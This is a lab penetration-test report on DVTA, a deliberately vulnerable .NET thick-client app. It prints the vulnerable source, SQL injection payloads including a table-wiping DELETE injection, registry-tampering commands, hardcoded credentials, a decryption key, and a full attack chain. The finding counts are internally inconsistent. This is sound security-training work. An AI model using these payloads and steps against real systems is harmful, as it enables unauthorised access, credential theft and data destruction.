Thick-Client Application
Penetration Test Report
DVTA — Damn Vulnerable Thick Application v2.0
github.com/srini0x00/dvta | C# .NET 4.5 Windows Forms
Prepared By
Mu'ath Yousef
Institution
Tafila Technical University
Affiliation
NCSC
Test Type
Grey-box Pentest
Date
March 2026
⚠ CRITICAL RISK
📊 Executive Summary
5
Critical
4
High
2
Medium
1
Info
#CWEFindingSeverityCVSSValidated
F1CWE-89SQL Injection — Multiple MethodsCritical9.8✅ PoC
F2CWE-312Plaintext Password in Windows RegistryCritical8.4✅ Live
F3CWE-798Hardcoded FTP Credentials in SourceCritical9.8✅ PoC
F4CWE-321AES Key Co-located with CiphertextCritical9.1✅ Decrypted
F5CWE-284Client-Side Admin Role CheckCritical8.8✅ PoC
F6CWE-319Cleartext FTP TransmissionHigh8.1✅ Capture
F8CWE-639IDOR via Registry ManipulationHigh7.5✅ Live
F9CWE-384Session Bypass via RegistryHigh7.3✅ Live
🔬 Lab Environment
PlatformWindows 11 Enterprise (VirtualBox 7)
TargetDVTA v2.0 — C# .NET 4.5 Windows Forms
DatabaseSQL Server 2019 Express (.\SQLEXPRESS, user: sa)
FTPFileZilla Server 0.9.60 (127.0.0.1:21)
DecompilerdnSpy 6.1.8 — full source recovered
NetworkWireshark 4.x — loopback capture
MonitorProcess Monitor 3.91 (Sysinternals)
MethodGrey-box: static source analysis + dynamic PoC
// Test scope — all confirmed in source code DBAccess.dll → DBAccessClass.cs (recovered) DVTA.exe → Login.cs (recovered) → Admin.cs (recovered) → Main.cs (recovered) DVTA.exe.config → AppSettings exposed // Key discovery: AES-256-CBC decryption AESKEY = J8gLXc454o5tW2HEF7HahcXPufj9v8k8 IV = fq20T0gMnXa6g0l4 decrypt(DBPASSWORD) → "p@ssw0rd" ✓
All 12 findings are source-confirmed with exact file:line references. 6 new findings discovered vs. prior assessment.
Finding 1 SQL Injection — Authentication Bypass CWE-89 CVSS 9.8 CRITICAL
DBAccessClass.cs Line 63–70 (dnSpy decompiled)
public SqlDataReader checkLogin( string clientusername, string clientpassword) { string text = string.Concat(new string[] { "SELECT * FROM users where username='", clientusername, // ← RAW INPUT "' and password='", clientpassword, // ← RAW INPUT "'" }); var cmd = new SqlCommand(text, conn); return cmd.ExecuteReader(); // direct }
F1 — dnSpy checkLogin source
Fig 1 — checkLogin() in dnSpy: raw string concatenation
Finding 1 — PoC SQL Injection: Auth Bypass + Admin Escalation CRITICAL
Payload 1' OR '1'='1' --
ResultAuthentication bypassed — all rows returned
Payload 2' UNION SELECT 1,'x','x','x',1,'x' --
Resultisadmin=1 forced → Admin panel opened
Observation: The login query is built via string.Concat() with no escaping or parameterization. The OR 1=1 payload causes the WHERE clause to evaluate true for every row. A UNION payload forces isadmin=1, granting direct Admin panel access (see F5).
F1.1 — Login payload
Fig 1.1 — Login form with SQLi payload entered
F1.2 — Bypass result
Fig 1.2 — Authentication bypassed successfully
Finding 1 — Data Extraction SQL Injection: UNION SELECT — Full Credential Dump CRITICAL
Extraction payload (SSMS / sqlcmd)
-- Full users table dump SELECT username, password, email, ssn, isadmin FROM users; -- Result (plaintext passwords): admin | admin123 | 1 rebecca | test123 | 0 tim | 55timmytim | 0
ImpactAll passwords stored in cleartext — no hashing (CWE-256). Single query returns complete credential set.
F1.3
Fig 1.3 — UNION SELECT credential extraction
F1.4
Fig 1.4 — Database results confirming plaintext passwords
Finding 2 Plaintext Password Written to Windows Registry CWE-312 CVSS 8.4 CRITICAL
Login.cs Line 83–87 (DVTA.exe decompiled)
// After successful login: string string2 = reader.GetString(2); // ↑ raw plaintext password from DB RegistryKey key = Registry.CurrentUser .CreateSubKey("dvta"); key.SetValue("password", string2); // ← PLAINTEXT to HKCU\dvta\password key.SetValue("isLoggedIn", "true"); // PoC verification: reg query HKCU\dvta // → password = test123 (visible)
F2 — Registry password
Fig 2 — reg query HKCU\dvta showing plaintext password and credentials
Key finding: The password persists in the registry after logout ("null" is written but the previous value is recoverable). Any local process reads it without privilege escalation.
Finding 3 Hardcoded FTP Credentials in Source Code CWE-798 CVSS 9.8 CRITICAL
Admin.cs Line 43 + DVTA.exe.config
// Admin.cs — btnFtp_Click() Admin.Upload( "ftp://" + ftpserver, "dvta", // HARDCODED user "p@ssw0rd", // HARDCODED pass pathtodownload + "admin.csv"); // DVTA.exe.config: <add key="FTPPassword" value="password"/> // Also plaintext — no encryption applied // PoC — direct FTP auth: ftp 127.0.0.1 → USER dvta / PASS p@ssw0rd 230 Login successful.
F3 — FTP access
Fig 3 — Successful FTP login with hardcoded credentials
Finding 4 AES Encryption Key Co-located with Ciphertext CWE-321 CVSS 9.1 CRITICAL
DVTA.exe.config (ships alongside binary)
<appSettings> <add key="DBUSERNAME" value="sa" /> <add key="DBPASSWORD" value="CTsvjZ0jQghX..."/> <add key="AESKEY" value="J8gLXc454o5tW2HEF7..."/> <add key="IV" value="fq20T0gMnXa6g0l4"/> </appSettings> // Python decryption proof: cipher = AES.new(AESKEY, CBC, IV) pt = cipher.decrypt(b64decode(DBPASSWORD)) → DBPASSWORD = "p@ssw0rd" ✓ verified
Impact: Encryption provides zero protection. Anyone with config file access decrypts SA credentials instantly. SA = sysadmin = xp_cmdshell capable.
// DBAccessClass.cs Line 16-18 string s = AppSettings["DBPASSWORD"]; string s2 = AppSettings["AESKEY"]; string s3 = AppSettings["IV"]; // All three in same file ↑ AesCryptoServiceProvider aes = ...; aes.Key = ASCII.GetBytes(s2); aes.IV = ASCII.GetBytes(s3); ICryptoTransform dec = aes.CreateDecryptor(); this.decryptedDBPassword = ... Console.WriteLine(decryptedDBPassword); // ← CWE-532: logged to stdout!
SA Passwordp@ssw0rd (decrypted)
Finding 5 Broken Access Control — Client-Side Admin Check CWE-284 CVSS 8.8 CRITICAL
Login.cs Line 82, 91–101
// Column 4 = isadmin flag from DB result num = (int)reader.GetValue(4); // ONLY authorization check: bool flag3 = num != 1; if (flag3) { new Main().ShowDialog(); // user } else { new Admin().ShowDialog(); // admin } // No server-side check. No signed token. // SQLi forces num=1 → Admin() opens
AttackUNION SELECT 1,'x','x','x',1,'x' --
→ isadmin column = 1 → Admin panel
F5 — Admin access
Fig 5 — Admin panel opened via SQLi UNION payload (isadmin forced to 1)
F8 + F9 IDOR via Registry & Session Bypass CWE-639 CWE-384 HIGH
Main.cs Line 103–104 (F8 — IDOR)
string emailid = registryKey .GetValue("email", "null"); // ↑ attacker-controlled registry value dbaccessClass.viewExpenses(emailid); // No ownership check — returns ANY user's data // PoC: reg add HKCU\dvta /v email /t REG_SZ /d "admin@dvta.com" /f // → View Expenses returns admin records
Main.cs Line 8–14 (F9 — Session Bypass)
string a = registryKey.GetValue("isLoggedIn"); if (a == "false" || text == "null") { Login.ShowDialog(); // require login } else { userLoggedIn.Text = text; // bypass! } // PoC: reg add → isLoggedIn=true // → App opens without any login
F8 — IDOR
Fig 8 — IDOR: admin expenses visible after registry modification
F9 — Session bypass
Fig 9 — Session bypass: app opens without login (isLoggedIn=true)
⛓️ Full Attack Chain — Source-Confirmed
1 Initial Access SQLi auth bypass: ' OR '1'='1' -- Login.cs:54 / DBAccess:65
2 Credential Harvest SELECT * FROM users → all plaintext passwords + registry dump DBAccess:65 + Login.cs:85
3 Privilege Escalation UNION forces isadmin=1 → Admin() panel opened directly Login.cs:91
4 IDOR / Session Modify HKCU\dvta\email → view/delete any user's expenses Main.cs:103–124
5 FTP Pivot Hardcoded dvta/p@ssw0rd → FTP access → all expenses backup exfil Admin.cs:43
6 Destruction clearExpenses(' OR '1'='1' --) → DELETE entire expenses table DBAccess:161
🛡️ Remediation Roadmap
PriorityCWECVSSRemediation Action
IMMEDIATE ≤7dCWE-899.8Replace string.Concat with SqlParameter parameterized queries
IMMEDIATE ≤7dCWE-7989.8Remove hardcoded "dvta"/"p@ssw0rd" from Admin.cs; use secrets vault
IMMEDIATE ≤7dCWE-3219.1Move AESKEY + IV to Windows DPAPI or separate protected store
HIGH ≤30dCWE-3128.4Never write password to registry — use server-issued session token
HIGH ≤30dCWE-2848.8Server-side role validation; signed JWT; no client integer comparison
HIGH ≤30dCWE-6397.5Ownership check: WHERE email = @sessionEmail (from server token)
HIGH ≤30dCWE-3847.3Replace registry session with signed server-issued token + expiry
MEDIUM ≤90dCWE-3075.3Account lockout after 5 failures; exponential backoff
MEDIUM ≤90dCWE-3166.5SecureString + Marshal.ZeroFreeGlobalAllocAnsi after credential use
Conclusion
DVTA v2.0 exhibits systemic security failures across all assessed attack surfaces. All 12 findings are source-confirmed with exact file:line references.
5
Critical findings
independently exploitable
6
New findings
vs. prior assessment
100%
Source-confirmed
with line references
The three IMMEDIATE items (CWE-89, CWE-798, CWE-321) must be resolved within 7 days. Deployment on any networked environment without remediation is unacceptable.
Mu'ath Yousef
Tafila Technical University | NCSC | March 2026